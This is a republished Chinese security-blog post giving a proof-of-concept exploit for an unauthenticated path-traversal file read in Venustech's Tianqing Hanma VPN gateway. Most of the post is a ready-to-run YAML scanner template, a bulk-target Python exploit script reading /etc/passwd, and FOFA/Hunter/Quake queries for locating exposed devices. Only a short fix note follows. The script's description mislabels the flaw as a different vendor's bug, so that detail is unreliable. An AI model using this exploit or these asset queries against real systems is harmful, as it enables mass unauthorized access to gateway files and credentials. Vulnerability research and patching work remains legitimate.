免责声明
❝
「此公众号所分享的网络安全知识、信息及工具皆来源互联网公开收集整理,仅供学习和研究使用,请勿用于非法测试活动。由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,产生的一切后果由读者自行承担,皆与本公众号及文章作者无关、不负任何责任!!!」「如有内容侵权,请联系我们删除处理。谢谢合作!!!」
❞
POC(Yaml&Python)
话不多说先上POC(Yam-poc由yakit或ProjectDiscovery Cloud Platform生成,Python-poc脚本由chatgpt生成,准确性请自测,如您觉得有用,请动动小手点个关注,为您每天更新最新漏洞POC)
-
「Yaml」
id:
Venustech-TQHMVPN-download-client-fileread
info:
name:
启明星辰天青汉马VPN-download-client-任意文件读取
author:
god
severity:
high
description:
启明星辰天青汉马VPN-download-client-任意文件读取
metadata:
fofa-query:
app="网御星云-VPN"
||
(body="select_auth_method"
&&
body="select_auth_input")||app="启明星辰-天清汉马VPN"
tags:
fileread,vpn
http:
-
raw:
-
|+
@timeout: 30s
GET /vpn/user/download/client?ostype=../../../../../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
User-AgentMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
max-redirects:
3
matchers-condition:
and
matchers:
-
type:
dsl
dsl:
-
'contains(body_1, "root")'
condition:
and
-
「Python」
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import
requests
import
argparse
import
time
import
ssl
from
urllib3.exceptions
import
InsecureRequestWarning
from
requests.adapters
import
HTTPAdapter
from
urllib3.poolmanager
import
PoolManager
RED =
'�33[91m'
RESET =
'�33[0m'
# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
class
TlsAdapter
(HTTPAdapter)
:
def
init_poolmanager
(self, *args, **kwargs)
:
ctx = ssl.create_default_context()
ctx.set_ciphers(
'ALL:@SECLEVEL=1'
)
ctx.check_hostname =
False
ctx.verify_mode = ssl.CERT_NONE
kwargs[
'ssl_context'
] = ctx
return
super(TlsAdapter, self).init_poolmanager(*args, **kwargs)
def
check_vulnerability
(url)
:
headers = {
'User-Agent'
:
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15'
}
file_read_url =
f"
{url.rstrip(
'/'
)}
/vpn/user/download/client?ostype=../../../../../../../etc/passwd"
session = requests.Session()
session.mount(
'https://'
, TlsAdapter())
try
:
response = session.get(file_read_url, headers=headers, verify=
False
, timeout=
30
)
if
response.status_code ==
200
and
"root"
in
response.text:
print(
f"
{RED}
URL [
{url}
] 存在启明星辰天青汉马VPN-download-client-任意文件读取漏洞
{RESET}
"
)
else
:
print(
f"URL [
{url}
] 可能不存在漏洞"
)
except
requests.RequestException
as
e:
print(
f"URL [
{url}
] 请求失败:
{e}
"
)
def
main
()
:
parser = argparse.ArgumentParser(description=
'检测目标地址是否存在用友NC UFIDA ELTextFile.load.d任意文件读取漏洞'
)
parser.add_argument(
'-u'
,
'--url'
, help=
'指定目标地址'
)
parser.add_argument(
'-f'
,
'--file'
, help=
'指定包含目标地址的文本文件'
)
args = parser.parse_args()
if
args.url:
if
not
args.url.startswith(
"http://"
)
and
not
args.url.startswith(
"https://"
):
args.url =
"http://"
+ args.url
check_vulnerability(args.url)
elif
args.file:
with
open(args.file,
'r'
)
as
file:
urls = file.read().splitlines()
for
url
in
urls:
if
not
url.startswith(
"http://"
)
and
not
url.startswith(
"https://"
):
url =
"http://"
+ url
check_vulnerability(url)
if
__name__ ==
'__main__'
:
main()
漏洞介绍
❝
天清汉马VPN安全网关系统产品是启明星辰集团依靠雄厚的技术优势,依靠多年信息安全产品研发的积累,严格遵照国家有关主管部门的设计规范要求,具有完全自主知识产权的SSL/IPSec 二合一VPN安全网关系统,为用户提供安全的传输链路加密服务。其
download/client
接口处存在任意文件读取漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件)等等❞
资产测绘
-
「Fofa」
❝
app="网御星云-VPN" || (body="select_auth_method" && body="select_auth_input") || app="启明星辰-天清汉马VPN"
❞
-
「Hunter」
❝
app.name=="启明星辰天清汉马 VPN"||(body="select_auth_method"&&body="select_auth_input")||web.icon="ab09fbf7665449fc97bf31a8abcc36e6"
❞
-
「Quake」
❝
app="网御星云-VPN" || (body="select_auth_method" && body="select_auth_input") || app="启明星辰-天清汉马VPN" || favicon="ab09fbf7665449fc97bf31a8abcc36e6"
❞
漏洞复现
「1、构造数据包」
GET /vpn/user/download/client?ostype=../../../../../../../etc/passwd HTTP/1.1
Host: ip
User-AgentMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Content-Length: 2
「2、查看返回包」
修复方案
❝
官方已发布安全补丁,建议联系厂商打补丁或升级版本。 引入Web应用防火墙防护,配置接口拦截策略。 ❞
!!!!关注浅梦,安全不迷路!!!!
!!!!关注浅梦,安全不迷路!!!!
!!!!关注浅梦,安全不迷路!!!!
原文始发于微信公众号(浅梦安全):【漏洞复现|含POC】启明星辰天青汉马VPN-download-client-任意文件读取
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论